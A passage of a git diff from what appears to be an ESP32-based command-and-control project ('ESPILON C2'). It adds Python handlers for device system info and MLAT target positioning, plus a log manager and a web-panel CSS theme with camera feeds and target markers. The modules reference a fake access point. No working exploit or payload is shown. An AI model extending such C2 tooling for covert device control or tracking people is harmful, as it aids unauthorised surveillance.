"""Send system_info command automatically when device connects."""
|
||||
try:
|
||||
cmd = Command()
|
||||
cmd.device_id = device.id
|
||||
cmd.command_name = "system_info"
|
||||
cmd.request_id = f"auto-sysinfo-{device.id}"
|
||||
self.send_command(device.sock, cmd)
|
||||
except Exception as e:
|
||||
Display.error(f"Auto system_info failed for {device.id}: {e}")
|
||||
|
||||
def _parse_system_info(self, device: Device, payload: str):
|
||||
"""Parse system_info response and update device info."""
|
||||
# Format: chip=esp32 cores=2 flash=external heap=4310096 uptime=7s modules=network,fakeap
|
||||
try:
|
||||
for part in payload.split():
|
||||
if "=" in part:
|
||||
key, value = part.split("=", 1)
|
||||
if key == "chip":
|
||||
device.chip = value
|
||||
elif key == "modules":
|
||||
device.modules = value
|
||||
|
||||
# Notify TUI about device info update
|
||||
Display.device_event(device.id, f"INFO: {payload}")
|
||||
|
||||
# Send special message to update TUI title
|
||||
from utils.display import Display as Disp
|
||||
if Disp._tui_mode:
|
||||
from tui.bridge import tui_bridge, TUIMessage, MessageType
|
||||
tui_bridge.post_message(TUIMessage(
|
||||
msg_type=MessageType.DEVICE_INFO_UPDATED,
|
||||
device_id=device.id,
|
||||
payload=device.modules
|
||||
))
|
||||
except Exception as e:
|
||||
Display.error(f"Failed to parse system_info: {e}")
|
||||
|
||||
# ==================================================
|
||||
# AGENT MESSAGE HANDLER
|
||||
# ==================================================
|
||||
@ -90,12 +143,30 @@ class Transport:
|
||||
payload_str = repr(msg.payload)
|
||||
|
||||
if msg.type == AgentMsgType.AGENT_CMD_RESULT:
|
||||
if msg.request_id and self.cli:
|
||||
# Check if this is auto system_info response
|
||||
if msg.request_id and msg.request_id.startswith("auto-sysinfo-"):
|
||||
self._parse_system_info(device, payload_str)
|
||||
elif msg.request_id and self.cli:
|
||||
self.cli.handle_command_response(msg.request_id, device.id, payload_str, msg.eof)
|
||||
else:
|
||||
Display.device_event(device.id, f"Command result (no request_id or CLI not set): {payload_str}")
|
||||
elif msg.type == AgentMsgType.AGENT_INFO:
|
||||
Display.device_event(device.id, f"INFO: {payload_str}")
|
||||
# Check for system_info response (format: chip=... modules=...)
|
||||
if "chip=" in payload_str and "modules=" in payload_str:
|
||||
self._parse_system_info(device, payload_str)
|
||||
return
|
||||
# Check for MLAT data (format: MLAT:x;y;rssi)
|
||||
elif payload_str.startswith("MLAT:") and self.cli:
|
||||
mlat_data = payload_str[5:] # Remove "MLAT:" prefix
|
||||
if self.cli.mlat_engine.parse_mlat_message(device.id, mlat_data):
|
||||
# Recalculate position if we have enough scanners
|
||||
state = self.cli.mlat_engine.get_state()
|
||||
if state["scanners_count"] >= 3:
|
||||
self.cli.mlat_engine.calculate_position()
|
||||
else:
|
||||
Display.device_event(device.id, f"MLAT: Invalid data format: {mlat_data}")
|
||||
else:
|
||||
Display.device_event(device.id, f"INFO: {payload_str}")
|
||||
elif msg.type == AgentMsgType.AGENT_ERROR:
|
||||
Display.device_event(device.id, f"ERROR: {payload_str}")
|
||||
elif msg.type == AgentMsgType.AGENT_LOG:
|
||||
|
||||
3
tools/c2/log/__init__.py
Normal file
3
tools/c2/log/__init__.py
Normal file
@ -0,0 +1,3 @@
|
||||
from .manager import LogManager
|
||||
|
||||
__all__ = ["LogManager"]
|
||||
66
tools/c2/log/manager.py
Normal file
66
tools/c2/log/manager.py
Normal file
@ -0,0 +1,66 @@
|
||||
"""Log manager for storing device messages."""
|
||||
|
||||
import time
|
||||
from typing import Dict, List, Optional
|
||||
from dataclasses import dataclass
|
||||
|
||||
|
||||
@dataclass
|
||||
class LogEntry:
|
||||
"""A single log entry from a device."""
|
||||
timestamp: float
|
||||
device_id: str
|
||||
msg_type: str
|
||||
source: str
|
||||
payload: str
|
||||
request_id: Optional[str] = None
|
||||
|
||||
|
||||
class LogManager:
|
||||
"""Manages log storage for device messages."""
|
||||
|
||||
def __init__(self, max_entries_per_device: int = 1000):
|
||||
self.max_entries = max_entries_per_device
|
||||
self._logs: Dict[str, List[LogEntry]] = {}
|
||||
|
||||
def add(self, device_id: str, msg_type: str, source: str, payload: str, request_id: str = None):
|
||||
if device_id not in self._logs:
|
||||
self._logs[device_id] = []
|
||||
|
||||
entry = LogEntry(
|
||||
timestamp=time.time(),
|
||||
device_id=device_id,
|
||||
msg_type=msg_type,
|
||||
source=source,
|
||||
payload=payload,
|
||||
request_id=request_id
|
||||
)
|
||||
|
||||
self._logs[device_id].append(entry)
|
||||
|
||||
if len(self._logs[device_id]) > self.max_entries:
|
||||
self._logs[device_id] = self._logs[device_id][-self.max_entries:]
|
||||
|
||||
def get_logs(self, device_id: str, limit: int = 100) -> List[LogEntry]:
|
||||
if device_id not in self._logs:
|
||||
return []
|
||||
return self._logs[device_id][-limit:]
|
||||
|
||||
def get_all_logs(self, limit: int = 100) -> List[LogEntry]:
|
||||
all_entries = []
|
||||
for entries in self._logs.values():
|
||||
all_entries.extend(entries)
|
||||
all_entries.sort(key=lambda e: e.timestamp)
|
||||
return all_entries[-limit:]
|
||||
|
||||
def clear(self, device_id: str = None):
|
||||
if device_id:
|
||||
self._logs.pop(device_id, None)
|
||||
else:
|
||||
self._logs.clear()
|
||||
|
||||
def device_count(self) -> int:
|
||||
return len(self._logs)
|
||||
|
||||
def total_entries(self) -> int:
|
||||
return sum(len(entries) for entries in self._logs.values())
|
||||
935
tools/c2/static/css/main.css
Normal file
935
tools/c2/static/css/main.css
Normal file
@ -0,0 +1,935 @@
|
||||
/* ESPILON C2 - Violet Theme */
|
||||
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
:root {
|
||||
/* Background colors - deep dark with violet undertones */
|
||||
--bg-primary: #0a0a0f;
|
||||
--bg-secondary: #12121a;
|
||||
--bg-tertiary: #06060a;
|
||||
--bg-elevated: #1a1a25;
|
||||
|
||||
/* Border colors */
|
||||
--border-color: #2a2a3d;
|
||||
--border-light: #3d3d55;
|
||||
|
||||
/* Text colors */
|
||||
--text-primary: #e4e4ed;
|
||||
--text-secondary: #8888a0;
|
||||
--text-muted: #5a5a70;
|
||||
|
||||
/* Accent colors - violet palette */
|
||||
--accent-primary: #a855f7;
|
||||
--accent-primary-hover: #c084fc;
|
||||
--accent-primary-bg: rgba(168, 85, 247, 0.15);
|
||||
--accent-primary-glow: rgba(168, 85, 247, 0.4);
|
||||
|
||||
--accent-secondary: #818cf8;
|
||||
--accent-secondary-bg: rgba(129, 140, 248, 0.15);
|
||||
|
||||
/* Status colors */
|
||||
--status-online: #22d3ee;
|
||||
--status-online-bg: rgba(34, 211, 238, 0.15);
|
||||
--status-warning: #fbbf24;
|
||||
--status-warning-bg: rgba(251, 191, 36, 0.15);
|
||||
--status-error: #f87171;
|
||||
--status-error-bg: rgba(248, 113, 113, 0.15);
|
||||
--status-success: #4ade80;
|
||||
--status-success-bg: rgba(74, 222, 128, 0.15);
|
||||
|
||||
/* Button colors */
|
||||
--btn-primary: #7c3aed;
|
||||
--btn-primary-hover: #8b5cf6;
|
||||
--btn-secondary: #1e1e2e;
|
||||
--btn-secondary-hover: #2a2a3d;
|
||||
|
||||
/* Gradients */
|
||||
--gradient-primary: linear-gradient(135deg, #7c3aed 0%, #a855f7 100%);
|
||||
--gradient-glow: radial-gradient(circle at center, var(--accent-primary-glow) 0%, transparent 70%);
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
|
||||
background: var(--bg-primary);
|
||||
color: var(--text-primary);
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
/* ========== Header ========== */
|
||||
|
||||
header {
|
||||
background: var(--bg-secondary);
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
padding: 12px 24px;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
backdrop-filter: blur(10px);
|
||||
}
|
||||
|
||||
.logo {
|
||||
font-size: 18px;
|
||||
font-weight: 700;
|
||||
letter-spacing: 2px;
|
||||
background: var(--gradient-primary);
|
||||
-webkit-background-clip: text;
|
||||
-webkit-text-fill-color: transparent;
|
||||
background-clip: text;
|
||||
}
|
||||
|
||||
.main-nav {
|
||||
display: flex;
|
||||
gap: 4px;
|
||||
}
|
||||
|
||||
.nav-link {
|
||||
color: var(--text-secondary);
|
||||
text-decoration: none;
|
||||
font-size: 13px;
|
||||
font-weight: 500;
|
||||
padding: 8px 16px;
|
||||
border-radius: 8px;
|
||||
transition: all 0.2s ease;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.nav-link:hover {
|
||||
color: var(--text-primary);
|
||||
background: var(--bg-elevated);
|
||||
}
|
||||
|
||||
.nav-link.active {
|
||||
color: var(--accent-primary);
|
||||
background: var(--accent-primary-bg);
|
||||
}
|
||||
|
||||
.nav-link.active::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
bottom: -13px;
|
||||
left: 50%;
|
||||
transform: translateX(-50%);
|
||||
width: 20px;
|
||||
height: 2px;
|
||||
background: var(--accent-primary);
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.header-right {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
.status {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
font-size: 12px;
|
||||
color: var(--text-secondary);
|
||||
padding: 6px 12px;
|
||||
background: var(--bg-elevated);
|
||||
border-radius: 20px;
|
||||
}
|
||||
|
||||
.status-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
background: var(--status-online);
|
||||
border-radius: 50%;
|
||||
box-shadow: 0 0 8px var(--status-online);
|
||||
animation: pulse 2s infinite;
|
||||
}
|
||||
|
||||
@keyframes pulse {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.5; }
|
||||
}
|
||||
|
||||
.logout {
|
||||
color: var(--text-secondary);
|
||||
text-decoration: none;
|
||||
font-size: 13px;
|
||||
padding: 6px 12px;
|
||||
border-radius: 6px;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.logout:hover {
|
||||
color: var(--text-primary);
|
||||
background: var(--bg-elevated);
|
||||
}
|
||||
|
||||
/* ========== Main Content ========== */
|
||||
|
||||
main {
|
||||
padding: 24px;
|
||||
max-width: 1400px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.page-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 24px;
|
||||
}
|
||||
|
||||
.page-title {
|
||||
font-size: 13px;
|
||||
color: var(--text-secondary);
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
}
|
||||
|
||||
.page-title span {
|
||||
color: var(--text-primary);
|
||||
font-weight: 600;
|
||||
margin-left: 8px;
|
||||
}
|
||||
|
||||
/* ========== Cards Grid ========== */
|
||||
|
||||
.grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
.grid-cameras {
|
||||
grid-template-columns: repeat(auto-fill, minmax(400px, 1fr));
|
||||
}
|
||||
|
||||
.card {
|
||||
background: var(--bg-secondary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 12px;
|
||||
overflow: hidden;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.card:hover {
|
||||
border-color: var(--border-light);
|
||||
box-shadow: 0 4px 20px rgba(0, 0, 0, 0.3);
|
||||
}
|
||||
|
||||
.card-header {
|
||||
padding: 12px 16px;
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.card-header .name {
|
||||
font-family: 'JetBrains Mono', monospace;
|
||||
font-weight: 500;
|
||||
color: var(--text-primary);
|
||||
}
|
||||
|
||||
.card-header .badge {
|
||||
font-size: 10px;
|
||||
font-weight: 600;
|
||||
padding: 4px 10px;
|
||||
border-radius: 12px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.5px;
|
||||
}
|
||||
|
||||
.badge-live {
|
||||
color: var(--status-online);
|
||||
background: var(--status-online-bg);
|
||||
}
|
||||
|
||||
.badge-connected {
|
||||
color: var(--status-success);
|
||||
background: var(--status-success-bg);
|
||||
}
|
||||
|
||||
.badge-inactive {
|
||||
color: var(--status-warning);
|
||||
background: var(--status-warning-bg);
|
||||
}
|
||||
|
||||
.card-body {
|
||||
padding: 16px;
|
||||
}
|
||||
|
||||
.card-body-image {
|
||||
background: var(--bg-tertiary);
|
||||
min-height: 240px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.card-body-image img {
|
||||
width: 100%;
|
||||
height: auto;
|
||||
display: block;
|
||||
}
|
||||
|
||||
/* ========== Device Card ========== */
|
||||
|
||||
.device-info {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
.device-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.device-row .label {
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.device-row .value {
|
||||
color: var(--text-primary);
|
||||
font-family: 'JetBrains Mono', monospace;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
/* ========== Empty State ========== */
|
||||
|
||||
.empty {
|
||||
text-align: center;
|
||||
padding: 80px 20px;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.empty h2 {
|
||||
font-size: 18px;
|
||||
font-weight: 600;
|
||||
color: var(--text-primary);
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.empty p {
|
||||
font-size: 14px;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
/* ========== Header Stats ========== */
|
||||
|
||||
.header-stats {
|
||||
display: flex;
|
||||
gap: 24px;
|
||||
}
|
||||
|
||||
.header-stats .stat {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.header-stats .stat-value {
|
||||
font-size: 24px;
|
||||
font-weight: 700;
|
||||
color: var(--accent-primary);
|
||||
font-family: 'JetBrains Mono', monospace;
|
||||
}
|
||||
|
||||
.header-stats .stat-label {
|
||||
font-size: 11px;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
/* ========== Lain Empty State ========== */
|
||||
|
||||
.empty-lain {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 60vh;
|
||||
text-align: center;
|
||||
padding: 40px 20px;
|
||||
}
|
||||
|
||||
.lain-container {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 24px;
|
||||
}
|
||||
|
||||
.lain-ascii {
|
||||
font-family: 'JetBrains Mono', monospace;
|
||||
font-size: 10px;
|
||||
line-height: 1.2;
|
||||
color: var(--accent-primary);
|
||||
opacity: 0.7;
|
||||
text-shadow: 0 0 10px var(--accent-primary-glow);
|
||||
animation: pulse-glow 3s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes pulse-glow {
|
||||
0%, 100% { opacity: 0.5; text-shadow: 0 0 10px var(--accent-primary-glow); }
|
||||
50% { opacity: 0.9; text-shadow: 0 0 20px var(--accent-primary-glow), 0 0 40px var(--accent-primary-glow); }
|
||||
}
|
||||
|
||||
.lain-message h2 {
|
||||
font-size: 20px;
|
||||
font-weight: 600;
|
||||
color: var(--text-primary);
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.lain-message .typing {
|
||||
font-size: 14px;
|
||||
color: var(--accent-secondary);
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
|
||||
.lain-message .quote {
|
||||
font-size: 12px;
|
||||
color: var(--text-muted);
|
||||
font-style: italic;
|
||||
opacity: 0.7;
|
||||
}
|
||||
|
||||
/* ========== MLAT Container ========== */
|
||||
|
||||
.mlat-container {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 320px;
|
||||
gap: 20px;
|
||||
}
|
||||
|
||||
@media (max-width: 900px) {
|
||||
.mlat-container {
|
||||
grid-template-columns: 1fr;
|
||||
}
|
||||
}
|
||||
|
||||
/* View Toggle Buttons */
|
||||
.view-toggle {
|
||||
display: flex;
|
||||
gap: 4px;
|
||||
background: var(--bg-secondary);
|
||||
padding: 4px;
|
||||
border-radius: 10px;
|
||||
border: 1px solid var(--border-color);
|
||||
}
|
||||
|
||||
.view-btn {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 6px;
|
||||
padding: 8px 16px;
|
||||
border: none;
|
||||
background: transparent;
|
||||
color: var(--text-secondary);
|
||||
font-size: 13px;
|
||||
font-weight: 500;
|
||||
cursor: pointer;
|
||||
border-radius: 6px;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.view-btn:hover {
|
||||
color: var(--text-primary);
|
||||
background: var(--bg-elevated);
|
||||
}
|
||||
|
||||
.view-btn.active {
|
||||
background: var(--accent-primary-bg);
|
||||
color: var(--accent-primary);
|
||||
}
|
||||
|
||||
.view-btn svg {
|
||||
opacity: 0.7;
|
||||
}
|
||||
|
||||
.view-btn.active svg {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
/* Map/Plan View Wrapper */
|
||||
.mlat-view-wrapper {
|
||||
background: var(--bg-secondary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 12px;
|
||||
overflow: hidden;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.mlat-view-wrapper::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
height: 1px;
|
||||
background: var(--gradient-primary);
|
||||
opacity: 0.5;
|
||||
z-index: 10;
|
||||
}
|
||||
|
||||
.mlat-view {
|
||||
display: none;
|
||||
height: 500px;
|
||||
}
|
||||
|
||||
.mlat-view.active {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/* Leaflet Map */
|
||||
#leaflet-map {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: var(--bg-tertiary);
|
||||
}
|
||||
|
||||
/* Leaflet Dark Theme Override */
|
||||
.leaflet-container {
|
||||
background: var(--bg-tertiary);
|
||||
font-family: inherit;
|
||||
}
|
||||
|
||||
.leaflet-popup-content-wrapper {
|
||||
background: var(--bg-secondary);
|
||||
color: var(--text-primary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 8px;
|
||||
}
|
||||
|
||||
.leaflet-popup-tip {
|
||||
background: var(--bg-secondary);
|
||||
}
|
||||
|
||||
.leaflet-control-zoom {
|
||||
border: 1px solid var(--border-color) !important;
|
||||
}
|
||||
|
||||
.leaflet-control-zoom a {
|
||||
background: var(--bg-secondary) !important;
|
||||
color: var(--text-primary) !important;
|
||||
border-bottom-color: var(--border-color) !important;
|
||||
}
|
||||
|
||||
.leaflet-control-zoom a:hover {
|
||||
background: var(--bg-elevated) !important;
|
||||
}
|
||||
|
||||
.leaflet-control-attribution {
|
||||
background: var(--bg-secondary) !important;
|
||||
color: var(--text-muted) !important;
|
||||
font-size: 10px;
|
||||
}
|
||||
|
||||
.leaflet-control-attribution a {
|
||||
color: var(--accent-secondary) !important;
|
||||
}
|
||||
|
||||
/* Plan View */
|
||||
#plan-view {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.plan-controls {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
padding: 12px 16px;
|
||||
background: var(--bg-elevated);
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
}
|
||||
|
||||
.control-divider {
|
||||
width: 1px;
|
||||
height: 24px;
|
||||
background: var(--border-color);
|
||||
margin: 0 4px;
|
||||
}
|
||||
|
||||
.toggle-btn {
|
||||
opacity: 0.5;
|
||||
transition: opacity 0.2s ease;
|
||||
}
|
||||
|
||||
.toggle-btn.active {
|
||||
opacity: 1;
|
||||
background: var(--accent-primary-bg);
|
||||
color: var(--accent-primary);
|
||||
}
|
||||
|
||||
.control-label {
|
||||
font-size: 11px;
|
||||
font-weight: 500;
|
||||
color: var(--text-muted);
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.5px;
|
||||
}
|
||||
|
||||
.zoom-level,
|
||||
.size-display {
|
||||
font-size: 11px;
|
||||
font-weight: 600;
|
||||
color: var(--text-secondary);
|
||||
min-width: 55px;
|
||||
text-align: center;
|
||||
padding: 4px 8px;
|
||||
background: var(--bg-tertiary);
|
||||
border-radius: 4px;
|
||||
border: 1px solid var(--border-color);
|
||||
}
|
||||
|
||||
.plan-canvas-wrapper {
|
||||
flex: 1;
|
||||
padding: 16px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
#plan-canvas {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: var(--bg-tertiary);
|
||||
border-radius: 8px;
|
||||
cursor: grab;
|
||||
}
|
||||
|
||||
#plan-canvas:active {
|
||||
cursor: grabbing;
|
||||
}
|
||||
|
||||
/* Sidebar */
|
||||
.mlat-sidebar {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
.mlat-panel {
|
||||
background: var(--bg-secondary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 12px;
|
||||
padding: 16px;
|
||||
}
|
||||
|
||||
.mlat-panel h3 {
|
||||
font-size: 12px;
|
||||
font-weight: 600;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 1px;
|
||||
margin-bottom: 14px;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.mlat-stat {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
font-size: 13px;
|
||||
padding: 8px 0;
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
}
|
||||
|
||||
.mlat-stat:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.mlat-stat .label {
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.mlat-stat .value {
|
||||
color: var(--accent-primary);
|
||||
font-family: 'JetBrains Mono', monospace;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.scanner-list {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 8px;
|
||||
max-height: 200px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
.scanner-list .empty {
|
||||
padding: 20px;
|
||||
text-align: center;
|
||||
color: var(--text-muted);
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.scanner-item {
|
||||
background: var(--bg-elevated);
|
||||
padding: 10px 12px;
|
||||
border-radius: 8px;
|
||||
font-size: 12px;
|
||||
border: 1px solid transparent;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.scanner-item:hover {
|
||||
border-color: var(--border-light);
|
||||
}
|
||||
|
||||
.scanner-item .scanner-id {
|
||||
font-weight: 600;
|
||||
color: var(--accent-secondary);
|
||||
}
|
||||
|
||||
.scanner-item .scanner-details {
|
||||
color: var(--text-muted);
|
||||
margin-top: 4px;
|
||||
font-family: 'JetBrains Mono', monospace;
|
||||
font-size: 11px;
|
||||
}
|
||||
|
||||
/* Button Group */
|
||||
.btn-group {
|
||||
display: flex;
|
||||
gap: 8px;
|
||||
margin-top: 12px;
|
||||
}
|
||||
|
||||
.btn-sm {
|
||||
padding: 6px 12px;
|
||||
font-size: 12px;
|
||||
}
|
||||
|
||||
/* Custom Leaflet Markers */
|
||||
.scanner-marker {
|
||||
background: var(--accent-secondary);
|
||||
border: 2px solid #fff;
|
||||
border-radius: 50%;
|
||||
width: 16px !important;
|
||||
height: 16px !important;
|
||||
margin-left: -8px !important;
|
||||
margin-top: -8px !important;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.3);
|
||||
}
|
||||
|
||||
.target-marker {
|
||||
width: 24px !important;
|
||||
height: 24px !important;
|
||||
margin-left: -12px !important;
|
||||
margin-top: -12px !important;
|
||||
}
|
||||
|
||||
.target-marker svg {
|
||||
filter: drop-shadow(0 2px 4px rgba(0,0,0,0.4));
|
||||
}
|
||||
|
||||
/* Range Circle */
|
||||
.range-circle {
|
||||
fill: rgba(129, 140, 248, 0.1);
|
||||
stroke: rgba(129, 140, 248, 0.4);
|
||||
stroke-width: 2;
|
||||
}
|
||||
|
||||
/* ========== Config Panel ========== */
|
||||
|
||||
.config-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 10px 0;
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
}
|
||||
|
||||
.config-row:last-child {
|
||||
border-bottom: none;
|
||||
}
|
||||
|
||||
.config-row label {
|
||||
font-size: 13px;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.config-row input {
|
||||
width: 80px;
|
||||
padding: 6px 10px;
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 6px;
|
||||
color: var(--text-primary);
|
||||
font-size: 13px;
|
||||
font-family: 'JetBrains Mono', monospace;
|
||||
text-align: right;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.config-row input:focus {
|
||||
outline: none;
|
||||
border-color: var(--accent-primary);
|
||||
box-shadow: 0 0 0 3px var(--accent-primary-bg);
|
||||
}
|
||||
|
||||
/* ========== Buttons ========== */
|
||||
|
||||
.btn {
|
||||
padding: 10px 18px;
|
||||
border-radius: 8px;
|
||||
font-size: 13px;
|
||||
font-weight: 600;
|
||||
cursor: pointer;
|
||||
border: none;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.btn-primary {
|
||||
background: var(--gradient-primary);
|
||||
color: #fff;
|
||||
box-shadow: 0 2px 10px var(--accent-primary-bg);
|
||||
}
|
||||
|
||||
.btn-primary:hover {
|
||||
transform: translateY(-1px);
|
||||
box-shadow: 0 4px 15px var(--accent-primary-glow);
|
||||
}
|
||||
|
||||
.btn-secondary {
|
||||
background: var(--btn-secondary);
|
||||
border: 1px solid var(--border-color);
|
||||
color: var(--text-primary);
|
||||
}
|
||||
|
||||
.btn-secondary:hover {
|
||||
background: var(--btn-secondary-hover);
|
||||
border-color: var(--border-light);
|
||||
}
|
||||
|
||||
/* ========== Login Page ========== */
|
||||
|
||||
.login-container {
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background: var(--bg-primary);
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.login-container::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
width: 600px;
|
||||
height: 600px;
|
||||
background: var(--gradient-glow);
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.login-box {
|
||||
background: var(--bg-secondary);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 16px;
|
||||
padding: 40px;
|
||||
width: 100%;
|
||||
max-width: 380px;
|
||||
position: relative;
|
||||
backdrop-filter: blur(10px);
|
||||
}
|
||||
|
||||
.login-box .logo {
|
||||
text-align: center;
|
||||
margin-bottom: 32px;
|
||||
font-size: 24px;
|
||||
}
|
||||
|
||||
.error {
|
||||
background: var(--status-error-bg);
|
||||
border: 1px solid var(--status-error);
|
||||
color: var(--status-error);
|
||||
padding: 12px 14px;
|
||||
border-radius: 8px;
|
||||
margin-bottom: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
|
||||
.form-group {
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-group label {
|
||||
display: block;
|
||||
font-size: 13px;
|
||||
font-weight: 500;
|
||||
margin-bottom: 8px;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.form-group input {
|
||||
width: 100%;
|
||||
padding: 12px 14px;
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border-color);
|
||||
border-radius: 8px;
|
||||
color: var(--text-primary);
|
||||
font-size: 14px;
|
||||
transition: all 0.2s ease;
|
||||
}
|
||||
|
||||
.form-group input:focus {
|
||||
outline: none;
|
||||
border-color: var(--accent-primary);
|
||||
box-shadow: 0 0 0 3px var(--accent-primary-bg);
|
||||
}
|
||||
|
||||
.form-group input::placeholder {
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.btn-login {
|
||||
width: 100%;
|
||||
padding: 14px 20px;
|
||||
background: var(--gradient-primary);
|
||||
border: none;
|
||||
border-radius: 8px;
|
||||
color: #fff;
|
||||
font-size: 14px;
|
||||
font-weight: 600;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s ease;
|
||||
box-shadow: 0 2px 10px var(--accent-primary-bg);
|
||||
}
|
||||
|
||||
.btn-login:hover {
|
||||
transform: translateY(-1px);
|
||||
box-shadow: 0 4px 20px var(--accent-primary-glow);
|
||||
}
|
||||
|
||||
/* ========== Scrollbar ========== */
|
||||
|
||||
::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-track {
|
||||
background: var(--bg-primary);
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: var(--border-color);
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
::-webkit-scrollbar-thumb:hover {
|
||||
background: var(--border-light);
|
||||
}
|
||||
|
||||
/* ========== Selection ========== */
|
||||
|
||||
::selection {
|
||||
background: var(--accent-primary-bg);
|
||||
color: var(--accent-primary);
|
||||
}
|
||||
BIN
tools/c2/static/images/no-signal.png
